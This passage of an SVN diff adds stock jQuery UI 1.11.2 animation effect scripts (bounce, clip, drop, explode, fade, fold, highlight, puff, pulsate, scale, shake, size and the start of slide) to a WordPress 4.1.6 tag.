+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/bounce-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.bounce = function( o, done ) {
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+
+		// defaults:
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		hide = mode === "hide",
+		show = mode === "show",
+		direction = o.direction || "up",
+		distance = o.distance,
+		times = o.times || 5,
+
+		// number of internal animations
+		anims = times * 2 + ( show || hide ? 1 : 0 ),
+		speed = o.duration / anims,
+		easing = o.easing,
+
+		// utility:
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ),
+		i,
+		upAnim,
+		downAnim,
+
+		// we will need to re-assemble the queue to stack our animations in place
+		queue = el.queue(),
+		queuelen = queue.length;
+
+	// Avoid touching opacity to prevent clearType and PNG issues in IE
+	if ( show || hide ) {
+		props.push( "opacity" );
+	}
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el ); // Create Wrapper
+
+	// default distance for the BIGGEST bounce is the outer Distance / 3
+	if ( !distance ) {
+		distance = el[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3;
+	}
+
+	if ( show ) {
+		downAnim = { opacity: 1 };
+		downAnim[ ref ] = 0;
+
+		// if we are showing, force opacity 0 and set the initial position
+		// then do the "first" animation
+		el.css( "opacity", 0 )
+			.css( ref, motion ? -distance * 2 : distance * 2 )
+			.animate( downAnim, speed, easing );
+	}
+
+	// start at the smallest distance if we are hiding
+	if ( hide ) {
+		distance = distance / Math.pow( 2, times - 1 );
+	}
+
+	downAnim = {};
+	downAnim[ ref ] = 0;
+	// Bounces up/down/left/right then back to 0 -- times * 2 animations happen here
+	for ( i = 0; i < times; i++ ) {
+		upAnim = {};
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		el.animate( upAnim, speed, easing )
+			.animate( downAnim, speed, easing );
+
+		distance = hide ? distance * 2 : distance / 2;
+	}
+
+	// Last Bounce when Hiding
+	if ( hide ) {
+		upAnim = { opacity: 0 };
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		el.animate( upAnim, speed, easing );
+	}
+
+	el.queue(function() {
+		if ( hide ) {
+			el.hide();
+		}
+		$.effects.restore( el, props );
+		$.effects.removeWrapper( el );
+		done();
+	});
+
+	// inject all the animations we just queued to be first in line (after "inprogress")
+	if ( queuelen > 1) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	el.dequeue();
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-clip.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-clip.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-clip.js	(revision 33402)
@@ -0,0 +1,77 @@
+/*!
+ * jQuery UI Effects Clip 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/clip-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.clip = function( o, done ) {
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		direction = o.direction || "vertical",
+		vert = direction === "vertical",
+		size = vert ? "height" : "width",
+		position = vert ? "top" : "left",
+		animation = {},
+		wrapper, animate, distance;
+
+	// Save & Show
+	$.effects.save( el, props );
+	el.show();
+
+	// Create Wrapper
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+	animate = ( el[0].tagName === "IMG" ) ? wrapper : el;
+	distance = animate[ size ]();
+
+	// Shift
+	if ( show ) {
+		animate.css( size, 0 );
+		animate.css( position, distance / 2 );
+	}
+
+	// Create Animation Object:
+	animation[ size ] = show ? distance : 0;
+	animation[ position ] = show ? 0 : distance / 2;
+
+	// Animate
+	animate.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( !show ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-drop.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-drop.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-drop.js	(revision 33402)
@@ -0,0 +1,75 @@
+/*!
+ * jQuery UI Effects Drop 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/drop-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.drop = function( o, done ) {
+
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "opacity", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		direction = o.direction || "left",
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ) ? "pos" : "neg",
+		animation = {
+			opacity: show ? 1 : 0
+		},
+		distance;
+
+	// Adjust
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+
+	distance = o.distance || el[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2;
+
+	if ( show ) {
+		el
+			.css( "opacity", 0 )
+			.css( ref, motion === "pos" ? -distance : distance );
+	}
+
+	// Animation
+	animation[ ref ] = ( show ?
+		( motion === "pos" ? "+=" : "-=" ) :
+		( motion === "pos" ? "-=" : "+=" ) ) +
+		distance;
+
+	// Animate
+	el.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-explode.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-explode.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-explode.js	(revision 33402)
@@ -0,0 +1,107 @@
+/*!
+ * jQuery UI Effects Explode 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/explode-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.explode = function( o, done ) {
+
+	var rows = o.pieces ? Math.round( Math.sqrt( o.pieces ) ) : 3,
+		cells = rows,
+		el = $( this ),
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+
+		// show and then visibility:hidden the element before calculating offset
+		offset = el.show().css( "visibility", "hidden" ).offset(),
+
+		// width and height of a piece
+		width = Math.ceil( el.outerWidth() / cells ),
+		height = Math.ceil( el.outerHeight() / rows ),
+		pieces = [],
+
+		// loop
+		i, j, left, top, mx, my;
+
+	// children animate complete:
+	function childComplete() {
+		pieces.push( this );
+		if ( pieces.length === rows * cells ) {
+			animComplete();
+		}
+	}
+
+	// clone the element for each row and cell.
+	for ( i = 0; i < rows ; i++ ) { // ===>
+		top = offset.top + i * height;
+		my = i - ( rows - 1 ) / 2 ;
+
+		for ( j = 0; j < cells ; j++ ) { // |||
+			left = offset.left + j * width;
+			mx = j - ( cells - 1 ) / 2 ;
+
+			// Create a clone of the now hidden main element that will be absolute positioned
+			// within a wrapper div off the -left and -top equal to size of our pieces
+			el
+				.clone()
+				.appendTo( "body" )
+				.wrap( "<div></div>" )
+				.css({
+					position: "absolute",
+					visibility: "visible",
+					left: -j * width,
+					top: -i * height
+				})
+
+			// select the wrapper - make it overflow: hidden and absolute positioned based on
+			// where the original was located +left and +top equal to the size of pieces
+				.parent()
+				.addClass( "ui-effects-explode" )
+				.css({
+					position: "absolute",
+					overflow: "hidden",
+					width: width,
+					height: height,
+					left: left + ( show ? mx * width : 0 ),
+					top: top + ( show ? my * height : 0 ),
+					opacity: show ? 0 : 1
+				}).animate({
+					left: left + ( show ? 0 : mx * width ),
+					top: top + ( show ? 0 : my * height ),
+					opacity: show ? 1 : 0
+				}, o.duration || 500, o.easing, childComplete );
+		}
+	}
+
+	function animComplete() {
+		el.css({
+			visibility: "visible"
+		});
+		$( pieces ).remove();
+		if ( !show ) {
+			el.hide();
+		}
+		done();
+	}
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fade.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fade.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fade.js	(revision 33402)
@@ -0,0 +1,40 @@
+/*!
+ * jQuery UI Effects Fade 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/fade-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.fade = function( o, done ) {
+	var el = $( this ),
+		mode = $.effects.setMode( el, o.mode || "toggle" );
+
+	el.animate({
+		opacity: mode
+	}, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: done
+	});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fold.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fold.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-fold.js	(revision 33402)
@@ -0,0 +1,86 @@
+/*!
+ * jQuery UI Effects Fold 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/fold-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.fold = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		hide = mode === "hide",
+		size = o.size || 15,
+		percent = /([0-9]+)%/.exec( size ),
+		horizFirst = !!o.horizFirst,
+		widthFirst = show !== horizFirst,
+		ref = widthFirst ? [ "width", "height" ] : [ "height", "width" ],
+		duration = o.duration / 2,
+		wrapper, distance,
+		animation1 = {},
+		animation2 = {};
+
+	$.effects.save( el, props );
+	el.show();
+
+	// Create Wrapper
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+	distance = widthFirst ?
+		[ wrapper.width(), wrapper.height() ] :
+		[ wrapper.height(), wrapper.width() ];
+
+	if ( percent ) {
+		size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ];
+	}
+	if ( show ) {
+		wrapper.css( horizFirst ? {
+			height: 0,
+			width: size
+		} : {
+			height: size,
+			width: 0
+		});
+	}
+
+	// Animation
+	animation1[ ref[ 0 ] ] = show ? distance[ 0 ] : size;
+	animation2[ ref[ 1 ] ] = show ? distance[ 1 ] : 0;
+
+	// Animate
+	wrapper
+		.animate( animation1, duration, o.easing )
+		.animate( animation2, duration, o.easing, function() {
+			if ( hide ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		});
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-highlight.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-highlight.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-highlight.js	(revision 33402)
@@ -0,0 +1,60 @@
+/*!
+ * jQuery UI Effects Highlight 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/highlight-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.highlight = function( o, done ) {
+	var elem = $( this ),
+		props = [ "backgroundImage", "backgroundColor", "opacity" ],
+		mode = $.effects.setMode( elem, o.mode || "show" ),
+		animation = {
+			backgroundColor: elem.css( "backgroundColor" )
+		};
+
+	if (mode === "hide") {
+		animation.opacity = 0;
+	}
+
+	$.effects.save( elem, props );
+
+	elem
+		.show()
+		.css({
+			backgroundImage: "none",
+			backgroundColor: o.color || "#ffff99"
+		})
+		.animate( animation, {
+			queue: false,
+			duration: o.duration,
+			easing: o.easing,
+			complete: function() {
+				if ( mode === "hide" ) {
+					elem.hide();
+				}
+				$.effects.restore( elem, props );
+				done();
+			}
+		});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-puff.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-puff.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-puff.js	(revision 33402)
@@ -0,0 +1,60 @@
+/*!
+ * jQuery UI Effects Puff 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/puff-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect",
+			"./effect-scale"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.puff = function( o, done ) {
+	var elem = $( this ),
+		mode = $.effects.setMode( elem, o.mode || "hide" ),
+		hide = mode === "hide",
+		percent = parseInt( o.percent, 10 ) || 150,
+		factor = percent / 100,
+		original = {
+			height: elem.height(),
+			width: elem.width(),
+			outerHeight: elem.outerHeight(),
+			outerWidth: elem.outerWidth()
+		};
+
+	$.extend( o, {
+		effect: "scale",
+		queue: false,
+		fade: true,
+		mode: mode,
+		complete: done,
+		percent: hide ? percent : 100,
+		from: hide ?
+			original :
+			{
+				height: original.height * factor,
+				width: original.width * factor,
+				outerHeight: original.outerHeight * factor,
+				outerWidth: original.outerWidth * factor
+			}
+	});
+
+	elem.effect( o );
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-pulsate.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-pulsate.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-pulsate.js	(revision 33402)
@@ -0,0 +1,73 @@
+/*!
+ * jQuery UI Effects Pulsate 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/pulsate-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.pulsate = function( o, done ) {
+	var elem = $( this ),
+		mode = $.effects.setMode( elem, o.mode || "show" ),
+		show = mode === "show",
+		hide = mode === "hide",
+		showhide = ( show || mode === "hide" ),
+
+		// showing or hiding leaves of the "last" animation
+		anims = ( ( o.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ),
+		duration = o.duration / anims,
+		animateTo = 0,
+		queue = elem.queue(),
+		queuelen = queue.length,
+		i;
+
+	if ( show || !elem.is(":visible")) {
+		elem.css( "opacity", 0 ).show();
+		animateTo = 1;
+	}
+
+	// anims - 1 opacity "toggles"
+	for ( i = 1; i < anims; i++ ) {
+		elem.animate({
+			opacity: animateTo
+		}, duration, o.easing );
+		animateTo = 1 - animateTo;
+	}
+
+	elem.animate({
+		opacity: animateTo
+	}, duration, o.easing);
+
+	elem.queue(function() {
+		if ( hide ) {
+			elem.hide();
+		}
+		done();
+	});
+
+	// We just queued up "anims" animations, we need to put them next in the queue
+	if ( queuelen > 1 ) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	elem.dequeue();
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-scale.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-scale.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-scale.js	(revision 33402)
@@ -0,0 +1,89 @@
+/*!
+ * jQuery UI Effects Scale 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/scale-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect",
+			"./effect-size"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.scale = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		options = $.extend( true, {}, o ),
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		percent = parseInt( o.percent, 10 ) ||
+			( parseInt( o.percent, 10 ) === 0 ? 0 : ( mode === "hide" ? 0 : 100 ) ),
+		direction = o.direction || "both",
+		origin = o.origin,
+		original = {
+			height: el.height(),
+			width: el.width(),
+			outerHeight: el.outerHeight(),
+			outerWidth: el.outerWidth()
+		},
+		factor = {
+			y: direction !== "horizontal" ? (percent / 100) : 1,
+			x: direction !== "vertical" ? (percent / 100) : 1
+		};
+
+	// We are going to pass this effect to the size effect:
+	options.effect = "size";
+	options.queue = false;
+	options.complete = done;
+
+	// Set default origin and restore for show/hide
+	if ( mode !== "effect" ) {
+		options.origin = origin || [ "middle", "center" ];
+		options.restore = true;
+	}
+
+	options.from = o.from || ( mode === "show" ? {
+		height: 0,
+		width: 0,
+		outerHeight: 0,
+		outerWidth: 0
+	} : original );
+	options.to = {
+		height: original.height * factor.y,
+		width: original.width * factor.x,
+		outerHeight: original.outerHeight * factor.y,
+		outerWidth: original.outerWidth * factor.x
+	};
+
+	// Fade option to support puff
+	if ( options.fade ) {
+		if ( mode === "show" ) {
+			options.from.opacity = 0;
+			options.to.opacity = 1;
+		}
+		if ( mode === "hide" ) {
+			options.from.opacity = 1;
+			options.to.opacity = 0;
+		}
+	}
+
+	// Animate
+	el.effect( options );
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-shake.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-shake.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-shake.js	(revision 33402)
@@ -0,0 +1,84 @@
+/*!
+ * jQuery UI Effects Shake 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/shake-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.shake = function( o, done ) {
+
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		direction = o.direction || "left",
+		distance = o.distance || 20,
+		times = o.times || 3,
+		anims = times * 2 + 1,
+		speed = Math.round( o.duration / anims ),
+		ref = (direction === "up" || direction === "down") ? "top" : "left",
+		positiveMotion = (direction === "up" || direction === "left"),
+		animation = {},
+		animation1 = {},
+		animation2 = {},
+		i,
+
+		// we will need to re-assemble the queue to stack our animations in place
+		queue = el.queue(),
+		queuelen = queue.length;
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+
+	// Animation
+	animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance;
+	animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2;
+	animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2;
+
+	// Animate
+	el.animate( animation, speed, o.easing );
+
+	// Shakes
+	for ( i = 1; i < times; i++ ) {
+		el.animate( animation1, speed, o.easing ).animate( animation2, speed, o.easing );
+	}
+	el
+		.animate( animation1, speed, o.easing )
+		.animate( animation, speed / 2, o.easing )
+		.queue(function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		});
+
+	// inject all the animations we just queued to be first in line (after "inprogress")
+	if ( queuelen > 1) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	el.dequeue();
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-size.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-size.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-size.js	(revision 33402)
@@ -0,0 +1,233 @@
+/*!
+ * jQuery UI Effects Size 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/size-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.size = function( o, done ) {
+
+	// Create element
+	var original, baseline, factor,
+		el = $( this ),
+		props0 = [ "position", "top", "bottom", "left", "right", "width", "height", "overflow", "opacity" ],
+
+		// Always restore
+		props1 = [ "position", "top", "bottom", "left", "right", "overflow", "opacity" ],
+
+		// Copy for children
+		props2 = [ "width", "height", "overflow" ],
+		cProps = [ "fontSize" ],
+		vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ],
+		hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ],
+
+		// Set options
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		restore = o.restore || mode !== "effect",
+		scale = o.scale || "both",
+		origin = o.origin || [ "middle", "center" ],
+		position = el.css( "position" ),
+		props = restore ? props0 : props1,
+		zero = {
+			height: 0,
+			width: 0,
+			outerHeight: 0,
+			outerWidth: 0
+		};
+
+	if ( mode === "show" ) {
+		el.show();
+	}
+	original = {
+		height: el.height(),
+		width: el.width(),
+		outerHeight: el.outerHeight(),
+		outerWidth: el.outerWidth()
+	};
+
+	if ( o.mode === "toggle" && mode === "show" ) {
+		el.from = o.to || zero;
+		el.to = o.from || original;
+	} else {
+		el.from = o.from || ( mode === "show" ? zero : original );
+		el.to = o.to || ( mode === "hide" ? zero : original );
+	}
+
+	// Set scaling factor
+	factor = {
+		from: {
+			y: el.from.height / original.height,
+			x: el.from.width / original.width
+		},
+		to: {
+			y: el.to.height / original.height,
+			x: el.to.width / original.width
+		}
+	};
+
+	// Scale the css box
+	if ( scale === "box" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			props = props.concat( vProps );
+			el.from = $.effects.setTransition( el, vProps, factor.from.y, el.from );
+			el.to = $.effects.setTransition( el, vProps, factor.to.y, el.to );
+		}
+
+		// Horizontal props scaling
+		if ( factor.from.x !== factor.to.x ) {
+			props = props.concat( hProps );
+			el.from = $.effects.setTransition( el, hProps, factor.from.x, el.from );
+			el.to = $.effects.setTransition( el, hProps, factor.to.x, el.to );
+		}
+	}
+
+	// Scale the content
+	if ( scale === "content" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			props = props.concat( cProps ).concat( props2 );
+			el.from = $.effects.setTransition( el, cProps, factor.from.y, el.from );
+			el.to = $.effects.setTransition( el, cProps, factor.to.y, el.to );
+		}
+	}
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+	el.css( "overflow", "hidden" ).css( el.from );
+
+	// Adjust
+	if (origin) { // Calculate baseline shifts
+		baseline = $.effects.getBaseline( origin, original );
+		el.from.top = ( original.outerHeight - el.outerHeight() ) * baseline.y;
+		el.from.left = ( original.outerWidth - el.outerWidth() ) * baseline.x;
+		el.to.top = ( original.outerHeight - el.to.outerHeight ) * baseline.y;
+		el.to.left = ( original.outerWidth - el.to.outerWidth ) * baseline.x;
+	}
+	el.css( el.from ); // set top & left
+
+	// Animate
+	if ( scale === "content" || scale === "both" ) { // Scale the children
+
+		// Add margins/font-size
+		vProps = vProps.concat([ "marginTop", "marginBottom" ]).concat(cProps);
+		hProps = hProps.concat([ "marginLeft", "marginRight" ]);
+		props2 = props0.concat(vProps).concat(hProps);
+
+		el.find( "*[width]" ).each( function() {
+			var child = $( this ),
+				c_original = {
+					height: child.height(),
+					width: child.width(),
+					outerHeight: child.outerHeight(),
+					outerWidth: child.outerWidth()
+				};
+			if (restore) {
+				$.effects.save(child, props2);
+			}
+
+			child.from = {
+				height: c_original.height * factor.from.y,
+				width: c_original.width * factor.from.x,
+				outerHeight: c_original.outerHeight * factor.from.y,
+				outerWidth: c_original.outerWidth * factor.from.x
+			};
+			child.to = {
+				height: c_original.height * factor.to.y,
+				width: c_original.width * factor.to.x,
+				outerHeight: c_original.height * factor.to.y,
+				outerWidth: c_original.width * factor.to.x
+			};
+
+			// Vertical props scaling
+			if ( factor.from.y !== factor.to.y ) {
+				child.from = $.effects.setTransition( child, vProps, factor.from.y, child.from );
+				child.to = $.effects.setTransition( child, vProps, factor.to.y, child.to );
+			}
+
+			// Horizontal props scaling
+			if ( factor.from.x !== factor.to.x ) {
+				child.from = $.effects.setTransition( child, hProps, factor.from.x, child.from );
+				child.to = $.effects.setTransition( child, hProps, factor.to.x, child.to );
+			}
+
+			// Animate children
+			child.css( child.from );
+			child.animate( child.to, o.duration, o.easing, function() {
+
+				// Restore children
+				if ( restore ) {
+					$.effects.restore( child, props2 );
+				}
+			});
+		});
+	}
+
+	// Animate
+	el.animate( el.to, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( el.to.opacity === 0 ) {
+				el.css( "opacity", el.from.opacity );
+			}
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			if ( !restore ) {
+
+				// we need to calculate our new positioning based on the scaling
+				if ( position === "static" ) {
+					el.css({
+						position: "relative",
+						top: el.to.top,
+						left: el.to.left
+					});
+				} else {
+					$.each([ "top", "left" ], function( idx, pos ) {
+						el.css( pos, function( _, str ) {
+							var val = parseInt( str, 10 ),
+								toRef = idx ? el.to.left : el.to.top;
+
+							// if original was "auto", recalculate the new value from wrapper
+							if ( str === "auto" ) {
+								return toRef + "px";
+							}
+
+							return val + toRef + "px";
+						});
+					});
+				}
+			}
+
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-slide.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-slide.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-slide.js	(revision 33402)
@@ -0,0 +1,74 @@
+/*!
+ * jQuery UI Effects Slide 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/slide-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
